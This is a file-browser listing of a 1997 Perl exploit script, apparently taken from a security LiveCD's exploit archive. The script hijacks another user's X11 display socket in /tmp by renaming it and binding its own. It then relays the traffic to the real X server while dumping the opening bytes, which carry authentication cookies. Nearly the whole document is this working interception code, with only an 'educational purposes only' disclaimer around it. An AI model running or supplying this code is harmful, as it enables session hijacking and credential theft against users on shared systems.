home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / x11.tmp.pl < prev    next >
Perl Script  |  2005-02-12  |  3KB  |  100 lines

  1. #!/usr/bin/perl
  2.  
  3. # Copyright (c) 1997 Pavel Kankovsky
  4.  
  5. # Permission to use, modify, and redistribute this program under the
  6. # terms of GNU General Public License version 2, as published by the
  7. # Free Software Foundation, is hereby granted. There is ABSOLUTELY
  8. # NO WARRANTY. You use it at your own risk.
  9.  
  10. # WARNING! This program is provided for educational purposes only.
  11. # Inappropriate use or abuse may result in malfunction or inaccessibility
  12. # of computing systems, disclosure, loss or corruption of data, and other
  13. # damages.
  14.  
  15.  
  16. use Socket;
  17.  
  18. sub dump_snap
  19. {
  20.   my ($txt) = @_;
  21.   my ($pos, $len) = (0, length($txt));
  22.   while ($pos < $len) {
  23.     my ($p, $l1, $l2) = ($pos, '', '');
  24.     foreach $k (0..15) {
  25.       if ($pos < $len) {
  26.         my ($c) = ord(substr($txt, $pos, 1));
  27.         $l1 .= sprintf("%02x ", $c);
  28.         $l2 .= $c >= 32 && $c < 127 ? chr($c) : '.';
  29.       }
  30.       else {
  31.         $l1 .= '   ';
  32.       }
  33.       ++$pos;
  34.     }
  35.     printf("%04x %s%s\n", $p, $l1, $l2);
  36.   }
  37. }
  38.  
  39. $SIG{CHLD} = 'IGNORE';
  40.  
  41. $display0 = $ARGV[0];
  42. $display1 = $ARGV[1];
  43.  
  44. rename("/tmp/.X11-unix/$display0", "/tmp/.X11-unix/$display1");
  45. rename("/tmp/.X11-pipe/$display0", "/tmp/.X11-pipe/$display1");
  46.  
  47. socket(Server, PF_UNIX, SOCK_STREAM, 0) || die $!;
  48. bind(Server, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
  49. listen(Server, SOMAXCONN) || die $!;
  50.  
  51. $success = 0;
  52.  
  53. eval {
  54.   local $SIG{INT} = sub { die; };
  55.   accept(Client, Server) || die;
  56.   $success = 1;
  57. };
  58.  
  59. rename("/tmp/.X11-unix/$display1", "/tmp/.X11-unix/$display0");
  60. rename("/tmp/.X11-pipe/$display1", "/tmp/.X11-pipe/$display0");
  61.  
  62. if ($success) {
  63.   $pid = fork();
  64.   if ($pid == 0) {
  65.     close(Server);
  66.     socket(Forward, PF_UNIX, SOCK_STREAM, 0) || die $!;
  67.     connect(Forward, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
  68.     $fdset = '';
  69.     vec($fdset, fileno(Client), 1) = 1;
  70.     vec($fdset, fileno(Forward), 1) = 1;
  71.     $snapped = '';
  72.     $snaplen = 0x40;
  73.     while (select($rset = $fdset, undef, undef, undef)) {
  74.       if (vec($rset, fileno(Client), 1) != 0) {
  75.         $b = sysread(Client, $buffer, 16);
  76.         if ($b > 0) {
  77.           syswrite(Forward, $buffer, $b);
  78.           if ($snaplen > 0) {
  79.             $snapped .= substr($buffer, 0, $b);
  80.             $snaplen -= $b;
  81.             dump_snap($snapped) if ($snaplen <= 0);
  82.           }
  83.         }
  84.         last if (!$b);
  85.       }
  86.       if (vec($rset, fileno(Forward), 1) != 0) {
  87.         $b = sysread(Forward, $buffer, 16);
  88.         if ($b > 0) {
  89.           syswrite(Client, $buffer, $b);
  90.         }
  91.         last if (!$b);
  92.       }
  93.     }
  94.     close(Forward);
  95.     close(Client);
  96.     exit(0);
  97.   }
  98.   close(Client);
  99. }
  100. #                    www.hack.co.za              [1999]#